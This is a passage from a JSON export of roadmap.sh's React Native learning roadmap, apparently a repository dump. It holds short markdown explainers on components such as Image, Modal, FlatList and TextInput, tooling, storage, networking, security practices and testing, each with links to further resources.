    "content": "# Image\n\nThe `Image` component is used to display images in a React Native application. It allows you to load and display local as well as remote images, providing essential props and methods for better image handling and customization.\n\nVisit the following resources to learn more:\n\n- [@official@Image](https://reactnative.dev/docs/image)"
  },
  {
    "path": "src/data/roadmaps/react-native/content/imagebackground@GFGhnx5xUer2DdRI-SO4D.md",
    "content": "# ImageBackground\n\n`ImageBackground` is a React Native core component that allows you to display an image as a background while still being able to place content inside the component. This helps in creating beautiful layouts with images and text or other content on top.\n\nVisit the following resources to learn more:\n\n- [@official@Image Background](https://reactnative.dev/docs/imagebackground)"
  },
  {
    "path": "src/data/roadmaps/react-native/content/in-app-developer-menu@tOt_vvmnBtOUbgokmVa5P.md",
    "content": "# In-App Developer Menu\n\nReact Native provides an in-app developer menu which offers several debugging options. You can access the Dev Menu by shaking your device or via keyboard shortcuts:\n\n*   Android: `Cmd + M` or `Ctrl + M`\n*   iOS: `Cmd + D` or `Ctrl + D`\n\nVisit the following resources to learn more:\n\n- [@official@Debugging](https://reactnative.dev/docs/debugging)"
  },
  {
    "path": "src/data/roadmaps/react-native/content/interactions@GYdz9a1yLiewAeMRSyfLr.md",
    "content": "# Interactions\n\nInteraction in React Native means dealing with how the user can interact with your application. This typically involves handling touch events, gestures, and animations to provide a more engaging and dynamic user experience. There are several built-in components and libraries available in React Native to help you build interactive elements in your app.\n\nVisit the following resources to learn more:\n\n- [@official@Animations](https://reactnative.dev/docs/animations)\n- [@official@LayoutAnimations](https://reactnative.dev/docs/layoutanimation)"
  },
  {
    "path": "src/data/roadmaps/react-native/content/introduction@JfXwzkN29UGz17FYHHE3A.md",
    "content": "# Introduction\n\nReact Native is an open-source framework developed by Facebook that allows developers to build mobile applications using JavaScript (or TypeScript) and React. It enables building apps for both iOS and Android platforms by offering a shared codebase, which significantly reduces development time and effort.\n\nVisit the following resources to learn more:\n\n- [@official@React Native](https://reactnative.dev/)\n- [@official@Getting Started with React Native](https://reactnative.dev/docs/getting-started)\n- [@video@React Native Course for Beginners in 2025 | Build a Full Stack React Native App](https://www.youtube.com/watch?v=f8Z9JyB2EIE)"
  },
  {
    "path": "src/data/roadmaps/react-native/content/javascript-basics@1oUJXtHGQ29ZZU9sxwGo2.md",
    "content": "# JavaScript Basics\n\nJavaScript is a very flexible and versatile programming language, considered as a core technology for web development. This is because it is the only language natively supported by all browsers, allowing developers to add dynamic behavior and create complex user experiences with this language.\n\nThere's a lot more to learn in JavaScript but my recommendation is to learn the basics and then learn as you go. You'll learn a lot more by building things than by reading about them.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated JavaScript Roadmap](https://roadmap.sh/javascript)\n- [@feed@Explore top posts about JavaScript](https://app.daily.dev/tags/javascript?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/react-native/content/jest@06gsRokwjxVa2xyLY4qAb.md",
    "content": "# Jest\n\nJest is a delightful JavaScript Testing Framework with a focus on simplicity. It works with projects using: Babel, TypeScript, Node, React, Angular, Vue and more!\n\nVisit the following resources to learn more:\n\n- [@official@Jest](https://jestjs.io/)\n- [@official@Jest Documentation](https://jestjs.io/docs/getting-started)\n- [@video@Jest Crash Course - Unit Testing in JavaScript](https://www.youtube.com/watch?v=7r4xVDI2vho)\n- [@feed@Explore top posts about Jest](https://app.daily.dev/tags/jest?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/react-native/content/jsx@s5YKenJY2Xv_PZBSxegEm.md",
    "content": "# JSX\n\nJSX is a syntax extension for JavaScript that allows you to write HTML-like code within your JavaScript code. It was developed to be used with React and has become an integral part of working with React.\n\nVisit the following resources to learn more:\n\n- [@official@Components](https://react.dev/learn/your-first-component)\n- [@official@Writing Markup with JSX](https://react.dev/learn/writing-markup-with-jsx)\n- [@official@JavaScript in JSX with Curly Braces](https://react.dev/learn/javascript-in-jsx-with-curly-braces)\n- [@feed@Explore top posts about JSX](https://app.daily.dev/tags/jsx?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/react-native/content/keyboardavoidingview@8bn1PFd9h0ek6_T-cl1cS.md",
    "content": "# KeyboardAvoidingView\n\n`KeyboardAvoidingView` is a built-in React Native component that automatically adjusts its children components' position when the keyboard opens, preventing them from being obscured by the on-screen keyboard. It's a useful component, particularly for forms and input fields where the user needs to see the text they're typing.\n\nVisit the following resources to learn more:\n\n- [@official@KeyboardAvoidingView](https://reactnative.dev/docs/keyboardavoidingview)"
  },
  {
    "path": "src/data/roadmaps/react-native/content/layouts--flexbox@e-r3tuRZ3PzhFegES0oOm.md",
    "content": "# Layouts in React Native\n\nIn React Native, layouts are primarily managed using the Flexbox styling system. Flexbox is a powerful and flexible layout system that allows you to create responsive and complex UIs using a set of simple rules.\n\nYou can use these styles in various combinations to create flexible layouts in React Native. Flexbox makes it easy to create responsive UIs that adapt to changes in screen size or orientation. Note that some of these styles might not work as expected in React Native compared to in CSS for the web, but the overall concepts remain the same.\n\nVisit the following resources to learn more:\n\n- [@official@Flexbox](https://reactnative.dev/docs/flexbox)\n- [@official@Layout Props](https://reactnative.dev/docs/layout-props)"
  },
  {
    "path": "src/data/roadmaps/react-native/content/learn-the-pre-requisites@cSXsu17F1Oy34Wp6J-N3C.md",
    "content": "# Learn the Pre-requisites\n\nBefore you start learning React Native, you should have a basic knowledge of JavaScript and React. You don't need to fully master these topics, but you should be familiar with them. Learn the basics of JavaScript (e.g. topics marked for beginners in JavaScript Roadmap and continue with React Native.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated JavaScript Roadmap](https://roadmap.sh/javascript)\n- [@roadmap@Visit Dedicated React Roadmap](https://roadmap.sh/react)\n- [@official@React Native Basics](https://reactnative.dev/docs/getting-started)"
  },
  {
    "path": "src/data/roadmaps/react-native/content/listings@x-OZCZcX6uhN3Yr5BAATn.md",
    "content": "# Listings"
  },
  {
    "path": "src/data/roadmaps/react-native/content/listviews@h3ypxGxeHDCTxURHg6D2d.md",
    "content": "# ListViews"
  },
  {
    "path": "src/data/roadmaps/react-native/content/logbox@Tz-bRjQVkZedphelhAlWM.md",
    "content": "# LogBox\n\nLogBox is a new feature added to React Native to improve how logs are displayed and managed in your development environment. It provides better visualization and organization of logs, warnings, and errors, making it easier for developers to address issues in their code.\n\nVisit the following resources to learn more:\n\n- [@official@Debugging LogBox](https://reactnative.dev/docs/debugging#logbox)"
  },
  {
    "path": "src/data/roadmaps/react-native/content/metro-bundler@VhSEH_RoWFt1z2lial7xZ.md",
    "content": "# Metro Bundler\n\nMetro Bundler is the default bundler for React Native applications. It's a JavaScript module bundler that takes all your application code and dependencies, and bundles them together into a single JavaScript file or multiple files (based on platform).\n\nVisit the following resources to learn more:\n\n- [@official@Metro Bundler](https://facebook.github.io/metro/)"
  },
  {
    "path": "src/data/roadmaps/react-native/content/modal@V34mZCkpoT49o-74XoATS.md",
    "content": "# Modal\n\nA `Modal` is a component that displays content on top of the current view, creating an overlay that can be used for various purposes, such as displaying additional information, confirmation messages, or a selection menu.\n\nVisit the following resources to learn more:\n\n- [@official@Modal](https://reactnative.dev/docs/modal)"
  },
  {
    "path": "src/data/roadmaps/react-native/content/networking@7GBV5sfOaGxHwpkNUvFWE.md",
    "content": "# Networking\n\nReact Native facilitates network requests and data management from remote sources through various techniques. The primary method is the `fetch` function, a promise-based API that allows developers to make HTTP requests and retrieve resources, typically in JSON format, from a specified URL. For example, a simple fetch request can be made as follows:\n\n    fetch('https://jsonplaceholder.typicode.com/todos/1')\n      .then((response) => response.json())\n      .then((json) => console.log(json))\n      .catch((error) => console.error(error));\n    \n\nAnother popular option is Axios, a widely-used library that simplifies HTTP requests in JavaScript applications. Like fetch, Axios is promise-based and offers a user-friendly API, making it a preferred choice for many developers when handling network requests in React Native.\n\nVisit the following resources to learn more:\n\n- [@official@Networking](https://reactnative.dev/docs/network)\n- [@official@Fetch API](https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API)\n- [@official@Axios](https://axios-http.com/docs/intro)\n- [@article@Managing network connection status in React Native](https://blog.logrocket.com/managing-network-connection-status-in-react-native/)"
  },
  {
    "path": "src/data/roadmaps/react-native/content/networking@ee4QqFTosXNcTgoQIok8i.md",
    "content": "# Networking\n\nNetworking in React Native primarily uses the Fetch API and XMLHttpRequest for making network requests. These APIs allow you to retrieve data from remote servers and handle asynchronous operations easily. React Native offers various ways to handle networking tasks like making API calls, sending/receiving data from remote servers, and handling different network protocols.\n\n*   Fetch\n*   HTTP Call Libraries\n*   Web Sockets\n\nThese are the major ways to handle networking tasks in React Native. Choose the method that best suits your specific use case and allows you to take full advantage of the features offered.\n\nVisit the following resources to learn more:\n\n- [@official@Networking](https://reactnative.dev/docs/network)\n- [@article@Efficient Network Communication](https://medium.com/@Blochware/efficient-network-communication-best-practices-for-handling-api-calls-in-react-native-b5bebbc8ba71)"
  },
  {
    "path": "src/data/roadmaps/react-native/content/optimizing-flatlist-config@PyPjHnKIWpnFHal8RuSmX.md",
    "content": "# Optimizing FlatList Config\n\nIn React Native, the FlatList component is essential for efficiently displaying large lists of items, and optimizing its configuration is crucial for enhancing performance. Here are key tips for optimizing FlatList:\n\n1.  **Set `windowSize`**: Adjust the `windowSize` prop, which determines the number of pages rendered above and below the current view. Reducing this value from the default of 21 can decrease off-screen component rendering.\n    \n2.  **Enable `removeClippedSubviews`**: This prop unmounts components that are off-screen, helping to free up resources.\n    \n3.  **Adjust `maxToRenderPerBatch`**: Control the number of items rendered per batch with this prop, which defaults to 10. Tailor this value to fit your list's needs.\n    \n4.  **Set `initialNumToRender`**: This prop defines how many items to render initially, helping to prevent blank screens during loading.\n    \n5.  **Use `getItemLayout`**: By specifying the exact dimensions of each item with this prop, you can avoid dynamic measurements, leading to better performance.\n\nVisit the following resources to learn more:\n\n- [@official@Optimizing Flatlist Configuration](https://reactnative.dev/docs/optimizing-flatlist-configuration)"
  },
  {
    "path": "src/data/roadmaps/react-native/content/other-storage-options@vZMsm-MtsqmQMD-MG6zJY.md",
    "content": "# Other Storage Options\n\nBesides AsyncStorage, there are other options available for handling data storage in React Native applications. This guide will briefly cover some popular options: Realm, Firebase Realtime Database, and SQLite.\n\nThese are just a few examples of additional storage options for React Native. Depending on your requirements, you may choose the one that best fits your project.\n\nVisit the following resources to learn more:\n\n- [@official@Async Storage](https://reactnative.dev/docs/asyncstorage)\n- [@opensource@Realm - GitHub](https://github.com/realm/realm-js)\n- [@article@Firebase Realtime Database](https://firebase.google.com/docs/database)\n- [@feed@Explore top posts about Storage](https://app.daily.dev/tags/storage?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/react-native/content/performance@NIJzKzWlsciAjxUpm4K2v.md",
    "content": "# Performance\n\nPerformance is a crucial aspect of any application, and React Native is no exception. Optimizing performance in your React Native apps will not only lead to a better user experience but also lessen the load on device resources.\n\nVisit the following resources to learn more:\n\n- [@official@Performance](https://reactnative.dev/docs/performance)"
  },
  {
    "path": "src/data/roadmaps/react-native/content/platform-module@KZIrRSYq_I-YzpFaYLuWi.md",
    "content": "# Platform Module\n\nThe Platform module, as the name suggests, is a part of React Native that detects the platform on which the app is running. This enables you to have specific code for either Android or iOS, allowing you to account for platform-specific differences in design or behavior.\n\nTo utilize the Platform module, you need to import it and then access the `OS` property. This property returns a string, which denotes the platform — either `'ios'` or `'android'`.\n\nWith the Platform module, you can easily create platform-specific code, enabling you to have the best user experience for each platform. Just remember to import the module and use the provided properties and methods.\n\nVisit the following resources to learn more:\n\n- [@official@Platform](https://reactnative.dev/docs/platform)\n- [@official@Platform-Specific Code](https://reactnative.dev/docs/platform-specific-code)"
  },
  {
    "path": "src/data/roadmaps/react-native/content/pressable@4BgVq-cZYEXgqktvlNnet.md",
    "content": "# Pressable\n\nPressable is a core component in React Native that makes any view respond properly to touch or press events. It provides a wide range of event handlers for managing user interactions, such as onPress, onPressIn, onPressOut, and onLongPress. With Pressable, you can create custom buttons, cards, or any touchable elements within your app.\n\nVisit the following resources to learn more:\n\n- [@official@Pressable](https://reactnative.dev/docs/pressable)"
  },
  {
    "path": "src/data/roadmaps/react-native/content/profiling@apXv-E6LvOuOMj3EpzwuA.md",
    "content": "# Profiling\n\nUse the built-in profiler to get detailed information about work done in the JavaScript thread and main thread side-by-side. Access it by selecting Perf Monitor from the Debug menu.\n\nFor iOS, Instruments is an invaluable tool, and on Android you should learn to use `systrace`.\n\nVisit the following resources to learn more:\n\n- [@official@Profiling React Native](https://reactnative.dev/docs/profiling)"
  },
  {
    "path": "src/data/roadmaps/react-native/content/props@0gH7vI_Hy7s9hO2TF6hR3.md",
    "content": "# Props\n\nIn React, **props** are short for _properties_ and are used to pass data from a parent component to a child component. They are similar to function arguments, and they help make components reusable and maintainable.\n\nVisit the following resources to learn more:\n\n- [@official@Components](https://react.dev/learn/your-first-component)\n- [@official@Props](https://react.dev/learn/passing-props-to-a-component)"
  },
  {
    "path": "src/data/roadmaps/react-native/content/publishing-apps@4U-HZQGH7kaWCB94Xy8Mh.md",
    "content": "# Publishing Apps\n\nPublishing React Native apps is the process of deploying your application on various app stores so that users can download and use your app. The two most popular app stores for publishing are the Apple App Store (iOS) and the Google Play Store (Android).\n\nVisit the following resources to learn more:\n\n- [@official@Publishing to Apple App Store](https://reactnative.dev/docs/publishing-to-app-store)\n- [@official@Publishing to Google Play Store](https://reactnative.dev/docs/signed-apk-android)"
  },
  {
    "path": "src/data/roadmaps/react-native/content/push-notifications@CAQJaGs24wx1SqKOU44aB.md",
    "content": "# Push Notifications\n\nPush notifications in React Native allow you to send timely and relevant information to users even when they aren't actively using your app. The original native push notification functionality in React Native has been deprecated. Now, you'll typically rely on third-party services like Firebase Cloud Messaging (FCM), Expo Notifications, or OneSignal to handle the complexities of delivering notifications across different platforms (iOS and Android). These services provide robust APIs and infrastructure for managing device tokens, sending notifications, and tracking delivery success.\n\nVisit the following resources to learn more:\n\n- [@official@PushNotificationIOS](https://reactnative.dev/docs/pushnotificationios)\n- [@official@Expo Notifications](https://docs.expo.dev/versions/latest/sdk/notifications/)\n- [@article@Expo push notifications setup](https://docs.expo.dev/push-notifications/push-notifications-setup/)\n- [@video@Expo Notifications with EAS | Complete Guide](https://www.youtube.com/watch?v=BCCjGtKtBjE)"
  },
  {
    "path": "src/data/roadmaps/react-native/content/ram-bundles--inline-requires@u5I-EOnA_yt6AQsRX-qr0.md",
    "content": "# RAM Bundles + Inline Requires\n\nIf you have a large app you may want to consider the Random Access Modules (RAM) bundle format, and using inline requires. This is useful for apps that have a large number of screens which may not ever be opened during a typical usage of the app. Generally it is useful to apps that have large amounts of code that are not needed for a while after startup. For instance the app includes complicated profile screens or lesser used features, but most sessions only involve visiting the main screen of the app for updates. We can optimize the loading of the bundle by using the RAM format and requiring those features and screens inline (when they are actually used).\n\nVisit the following resources to learn more:\n\n- [@official@RAM Bundles and Inline Requires](https://reactnative.dev/docs/ram-bundles-inline-requires)"
  },
  {
    "path": "src/data/roadmaps/react-native/content/react-native-alternatives@ODQ8zrHc2rsc8PN-APKvz.md",
    "content": "# React Native Alternatives\n\nReact Native is a popular choice for cross-platform application development, but there are other options available. Some of the common alternatives to React Native are Flutter, Ionic and Xamarin. Flutter being the most popular alternative to React Native.\n\nVisit the following resources to learn more:\n\n- [@official@Flutter](https://flutter.dev/)\n- [@official@Ionic](https://ionicframework.com/)\n- [@official@Xamarin](https://dotnet.microsoft.com/apps/xamarin)\n- [@feed@Explore top posts about React](https://app.daily.dev/tags/react?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/react-native/content/react-native-async-storage@WsJGiMjHSQ6MpPd5wuP9h.md",
    "content": "# React Native Async Storage\n\nReact Native AsyncStorage is an unencrypted, asynchronous, persistent key-value storage system that allows developers to store data globally within their applications. It is primarily used for persisting data offline, making it suitable for scenarios like saving user preferences or session data.\n\nVisit the following resources to learn more:\n\n- [@official@Async Storage](https://reactnative.dev/docs/asyncstorage)\n- [@opensource@Async Storage - GitHub](https://github.com/react-native-async-storage/async-storage)"
  },
  {
    "path": "src/data/roadmaps/react-native/content/react-native-cli@bxWLf0RDAl9Zaczkon9Rl.md",
    "content": "# React Native CLI\n\nReact Native CLI is the official command-line interface for building native mobile apps using React Native. This method requires you to manually set up the native development environment and tools needed for iOS and Android app development.\n\nVisit the following resources to learn more:\n\n- [@official@React Native CLI](https://reactnative.dev/docs/environment-setup?guide=native)"
  },
  {
    "path": "src/data/roadmaps/react-native/content/react-native-testing-library@-b4LfjCjkSZ6ZsSv3eFm6.md",
    "content": "# React Native Testing Library\n\nReact Native Testing Library (RNTL) is a collection of tools and utilities to test React Native components. It is built on top of the Testing Library ecosystem, designed to work seamlessly with Jest and other testing frameworks. Its primary goal is to enable efficient and effective testing by providing simple and intuitive APIs that promote best practices, like testing UI components in isolation and promoting accessibility checks.\n\nVisit the following resources to learn more:\n\n- [@article@React Native Testing Library](https://callstack.github.io/react-native-testing-library/)\n- [@article@React Native Testing Library (Docs)](https://testing-library.com/docs/react-native-testing-library/intro/)\n- [@feed@Explore top posts about React](https://app.daily.dev/tags/react?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/react-native/content/react-native-web@UQpyXrC2cs_jDXxVTlQOu.md",
    "content": "# React Native Web\n\nReact Native Web is an extension of React Native which allows you to run your React Native apps not only on iOS and Android devices, but also on the web. It uses the same components and APIs you're familiar with in React Native, but renders them into the DOM of a webpage instead of native UI elements.\n\nThe main goal of React Native Web is to provide a consistent developer experience across platforms, reducing the effort needed to build and maintain multi-platform apps.\n\nVisit the following resources to learn more:\n\n- [@article@react-native-web - npm](https://www.npmjs.com/package/react-native-web)\n- [@article@Complete Guide to React Native for Web](https://blog.logrocket.com/complete-guide-react-native-web/)"
  },
  {
    "path": "src/data/roadmaps/react-native/content/react-test-renderer@81tmis0km2h1zsjS2HsP5.md",
    "content": "# React Test Renderer\n\nReact Test Renderer is a library provided by the React team that allows you to render React components as JavaScript objects without depending on the DOM or a native mobile environment. It can be used to test components in Node.js environments where the actual rendering is not required.\n\nVisit the following resources to learn more:\n\n- [@official@React Test Renderer](https://jestjs.io/docs/tutorial-react)\n- [@feed@Explore top posts about React](https://app.daily.dev/tags/react?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/react-native/content/refreshcontrol@m8Nu71Y61Ha_fLxdtWTkn.md",
    "content": "# Refresh Control\n\n`RefreshControl` is a component in React Native that is used to provide pull-to-refresh functionality for scrollable components like `ScrollView`, `ListView`, and `FlatList`.\n\nVisit the following resources to learn more:\n\n- [@official@Refresh Control](https://reactnative.dev/docs/refreshcontrol)\n- [@official@ScrollView](https://reactnative.dev/docs/ScrollView)\n- [@official@FlatList](https://reactnative.dev/docs/FlatList)"
  },
  {
    "path": "src/data/roadmaps/react-native/content/running-on-device@KyKMZ8Aa5XUAIWelGTiSt.md",
    "content": "# Running on Device\n\nIt's always a good idea to test your app on an actual device before releasing it to your users.\n\nVisit the following resources to learn more:\n\n- [@official@Running on Device](https://reactnative.dev/docs/running-on-device)"
  },
  {
    "path": "src/data/roadmaps/react-native/content/safeareaview@UqCpoPzYio3ng3RFlbvZ7.md",
    "content": "# SafeAreaView\n\n`SafeAreaView` is a React Native core component that helps to adjust your app's UI elements and layout to accommodate the notches, curved edges, or home indicator on iOS devices. It is particularly useful for the iPhone X and newer iPhone models, as it ensures that content is rendered within the visible portion of the screen.\n\nKeep in mind that `SafeAreaView` only works on iOS devices, and has no effect on Android devices. To handle such cases, you can use platform-specific styles or libraries like `react-native-safe-area-context` which provide more control and customization options for additional platforms.\n\nVisit the following resources to learn more:\n\n- [@official@SafeAreaView](https://reactnative.dev/docs/safeareaview)"
  },
  {
    "path": "src/data/roadmaps/react-native/content/screen-navigation@Jr2iuQqyCbx6CyTJj4Qz2.md",
    "content": "# Screen Navigation\n\nIn React Native, navigating from one screen to another is a crucial aspect of app development. The most commonly used navigation libraries are React Navigation and React Native Navigation.\n\nVisit the following resources to learn more:\n\n- [@official@React Navigation](https://reactnavigation.org/)"
  },
  {
    "path": "src/data/roadmaps/react-native/content/scrolling--swiping@nk6zdVNRz_xE71mVUOFsi.md",
    "content": "# Scrolling and Swiping\n\nIn React Native, scrolling and swiping interactions can be defined and customized with a set of built-in components. These components are efficient and provide fluid navigation through the elements inside them.\n\nVisit the following resources to learn more:\n\n- [@official@Handling Touches](https://reactnative.dev/docs/handling-touches)\n- [@official@Using a ScrollView](https://reactnative.dev/docs/using-a-scrollview)\n- [@article@React Native Gesture Handler: Swipe, long-press, and more](https://blog.logrocket.com/react-native-gesture-handler-tutorial-examples/)"
  },
  {
    "path": "src/data/roadmaps/react-native/content/scrollview@yN283SRWoALOEZh9iTn-L.md",
    "content": "# Scroll View\n\nIn React Native, the `ScrollView` is a generic scrolling container used to provide a scrollable view to its child components. It is useful when you need to display scrollable content larger than the screen, such as lists, images, or text. A `ScrollView` must have a bounded height in order to properly work.\n\nVisit the following resources to learn more:\n\n- [@official@ScrollView](https://reactnative.dev/docs/ScrollView)"
  },
  {
    "path": "src/data/roadmaps/react-native/content/sectionlist@gLJMD9X7chy8OxdALht8g.md",
    "content": "# SectionList\n\n`SectionList` is a component used to render sections and headers in a scroll view. It helps to manage and optimize a large list of items divided into categories. It is one of the List View components provided by React Native along with FlatList.\n\nVisit the following resources to learn more:\n\n- [@official@SectionList](https://reactnative.dev/docs/sectionlist)"
  },
  {
    "path": "src/data/roadmaps/react-native/content/security@CGtVwhVGc8Vea5RfzJvQG.md",
    "content": "# Security\n\nSecurity is a vital consideration in React Native application development, as it helps protect user data and sensitive information. Key best practices include using secure storage solutions for sensitive data, such as authentication tokens and user credentials, with libraries like `react-native-keychain` and `react-native-encrypted-storage`. For secure communication, always use HTTPS for API interactions to ensure that data exchanged between the client and server is encrypted. Additionally, minimize permissions by requesting only those necessary for the app's functionality, ideally at runtime, using libraries like `react-native-permissions`.\n\nValidating and sanitizing user input is crucial to prevent threats like SQL injection and cross-site scripting (XSS), which can be achieved with validation libraries such as `Yup`. Lastly, keeping dependencies up to date is essential to avoid known security vulnerabilities; tools like `npm audit` and Dependabot can assist in this process. By adhering to these best practices, developers can enhance the security of their React Native applications, safeguarding both application data and user information.\n\nVisit the following resources to learn more:\n\n- [@official@Security](https://reactnative.dev/docs/security)\n- [@article@Secure Authentication and Authorization in React Native](https://medium.com/@christopherobocha/secure-authentication-and-authorisation-in-react-native-a260f1787a89)"
  },
  {
    "path": "src/data/roadmaps/react-native/content/sourcemaps@Dq490IqEJXoFZRnBFJI8N.md",
    "content": "# Sourcemaps\n\nSourcemaps are files that map the original source code of a project to its minified or transpiled version. This is especially useful in environments, like React Native, where the code may be transformed before being executed in the device/emulator. Sourcemaps help developers to debug their code more easily by mapping errors in the transformed code back to their original location in the source code.\n\nThere are various types of sourcemaps which give different levels of detail to the debugging process:\n\n*   `eval`: Uses `eval` function to generate the sourcemaps. This is faster but provides less detailed information than other options.\n*   `cheap-source-map`: Simple line-to-line mapping without column information. Faster than `source-map` but less accurate.\n*   `cheap-module-source-map`: Similar to `cheap-source-map` but with support for modules.\n*   `source-map`: Full source mapping with both line and column information. It is accurate, though slower compared to other options.\n\nAfter generating sourcemaps, you can use them to debug errors more efficiently, as they will reference the original locations in the source code. The browser's developer tools, like Google Chrome, have built-in support for sourcemaps, providing the ability to navigate and debug errors with ease.\n\nVisit the following resources to learn more:\n\n- [@official@SourceMaps](https://reactnative.dev/docs/debugging-release-builds#enabling-source-maps)\n- [@article@Source Maps (MDN)](https://developer.mozilla.org/en-US/docs/Tools/Debugger/How_to/Use_a_source_map)"
  },
  {
    "path": "src/data/roadmaps/react-native/content/speeding-up-builds@LL2ZkB7BuELyY2mPQhkAj.md",
    "content": "# Speeding up Builds\n\nBuilding your React Native app could be expensive and take several minutes of developers time. This can be problematic as your project grows and generally in bigger organizations with multiple React Native developers.\n\nVisit the following resources to learn more:\n\n- [@official@Speeding up your Build phase](https://reactnative.dev/docs/build-speed)"
  },
  {
    "path": "src/data/roadmaps/react-native/content/state@V7r1Hqk9IXTfjkjAg7-BT.md",
    "content": "# State\n\nState is an object that holds data managed within a React component. It allows components to become dynamic and interactive by keeping track of its data changes. When the state of a component changes, React re-renders the component and updates the DOM accordingly.\n\nVisit the following resources to learn more:\n\n- [@official@Component State](https://react.dev/learn/managing-state)"
  },
  {
    "path": "src/data/roadmaps/react-native/content/statusbar@QOOZs9qtz49agfZwi6k1B.md",
    "content": "# StatusBar\n\nThe `StatusBar` component is used to control the appearance of the status bar on the top of the screen. It may strike as a bit unusual since, unlike other React Native components, it doesn't render any visible content. Instead, it sets some native properties that can help customize the look of status bars on Android, iOS, or other platforms.\n\nVisit the following resources to learn more:\n\n- [@official@StatusBar](https://reactnative.dev/docs/statusbar)"
  },
  {
    "path": "src/data/roadmaps/react-native/content/storage@NdjmP1bZNYriV08vb-iRw.md",
    "content": "# Storage\n\nReact Native provides a few ways to persist data locally in the app. Here's a brief summary of the storage options available:\n\n*   Async Storage\n*   Expo Secure Store\n*   Expo File System\n*   Expo SQLite\n\nChoose the storage option that best fits your app's requirements and use cases. Keep in mind that AsyncStorage and SecureStorage are more suited for small-scale data storage, while Realm and SQLite support more complex storage and querying needs.\n\nVisit the following resources to learn more:\n\n- [@official@AsyncStorage](https://reactnative.dev/docs/asyncstorage)\n- [@article@Best Data Storage Option for React Native Apps](https://dev.to/ammarahmed/best-data-storage-option-for-react-native-apps-42k)"
  },
  {
    "path": "src/data/roadmaps/react-native/content/storage@w0WW1kg_0BEMeLa1l2gb5.md",
    "content": "# Storage\n\nReact Native offers several methods for persisting data locally within applications, each catering to different storage needs and use cases. The primary options include Async Storage, which provides a simple key-value storage system suitable for small-scale data; Expo Secure Store, designed for securely storing sensitive information; Expo File System, which allows for file management and storage; and Expo SQLite, which supports more complex data storage and querying capabilities. When selecting a storage option, it's essential to consider the specific requirements of your app.\n\nVisit the following resources to learn more:\n\n- [@article@Best Data Storage Option for React Native Apps](https://dev.to/ammarahmed/best-data-storage-option-for-react-native-apps-42k)"
  },
  {
    "path": "src/data/roadmaps/react-native/content/stylesheets@wB0D9koC6jpt1rzX8F07F.md",
    "content": "# Stylesheets in React Native\n\nIn React Native, stylesheets are objects that define the appearance of components. They provide a way to separate styling from the component's logic. Stylesheets are created using `StyleSheet.create` method, which ensures a standardized and efficient way to manage styles for your components.\n\nVisit the following resources to learn more:\n\n- [@official@Stylesheets](https://reactnative.dev/docs/stylesheet)"
  },
  {
    "path": "src/data/roadmaps/react-native/content/styling@ervpuL89myBW3oR9r-4lH.md",
    "content": "# Styling\n\nStyling in React Native is accomplished through JavaScript and uses a subset of CSS properties. Unlike CSS in web development, React Native has its own set of components and styling rules. The main components used for styling are `StyleSheet`, `View`, and `Text`.\n\n`StyleSheet` is a module provided by React Native to manage and optimize styles. It is similar to a CSS stylesheet and helps in creating and working with multiple styles efficiently.\n\nVisit the following resources to learn more:\n\n- [@official@Styling](https://reactnative.dev/docs/style)"
  },
  {
    "path": "src/data/roadmaps/react-native/content/switch@ouNTekf4VpZv-Vja8_bfM.md",
    "content": "# Switch\n\nA `Switch` is a core component in React Native used to implement a \"toggle\" or \"on-off\" input. It provides a UI for the user to switch between two different states, typically true or false. The primary use case is to enable or disable a feature or setting within an application.\n\n`Switch` component has a boolean `value` prop (true for on, false for off) and an `onValueChange` event handler, which is triggered whenever the user toggles the switch.\n\nVisit the following resources to learn more:\n\n- [@official@Switch](https://reactnative.dev/docs/switch)"
  },
  {
    "path": "src/data/roadmaps/react-native/content/testing@G15Aey-Spax_iUHpm1v38.md",
    "content": "# Testing\n\nWhen it comes to testing, you can use a combination of Jest, React Test Renderer, React Native Testing Library, Detox and Appium for all sorts of API needs."
  },
  {
    "path": "src/data/roadmaps/react-native/content/text-input@Frz1RYp3y9OwRb-3t2e85.md",
    "content": "# Text Input\n\n`TextInput` is a core component in React Native that allows the user to enter text. It is commonly used to collect user data, like emails or passwords. You can customize the appearance of `TextInput` by using various props such as `placeholder`, `multiline`, `maxLength`, and more.\n\nVisit the following resources to learn more:\n\n- [@official@Text Input](https://reactnative.dev/docs/textinput)"
  },
  {
    "path": "src/data/roadmaps/react-native/content/text@OFhyYyxtrCBy_UUb5YBv5.md",
    "content": "# Text Component\n\nThe `Text` component is a basic element in React Native used to display text content on the screen. While it has some basic styling properties, you usually nest it inside other components (e.g., `View`) to create more complex UIs.\n\nVisit the following resources to learn more:\n\n- [@official@Text](https://reactnative.dev/docs/text)"
  },
  {
    "path": "src/data/roadmaps/react-native/content/touchables@A7ZIe8nlQnHU5g3LM3Eif.md",
    "content": "# Touchables\n\nIn React Native, `Touchable` components are used to handle user interactions like taps, long presses, and double-taps on the appropriate elements. Each of these components is from the `react-native` package, except `TouchableScale` which is from `react-native-touchable-scale`. They can be used interchangeably depending on the type of interaction you want to provide. The main `props` used with these components are `onPress`, `onLongPress`, and some component-specific ones like `underlayColor` for `TouchableHighlight`.\n\nVisit the following resources to learn more:\n\n- [@official@Handling Touches](https://reactnative.dev/docs/handling-touches)\n- [@official@TouchableOpacity](https://reactnative.dev/docs/touchableopacity)"
  },
  {
    "path": "src/data/roadmaps/react-native/content/understand-frame-rates@1U3AiCDWEVEKsofWtqavi.md",
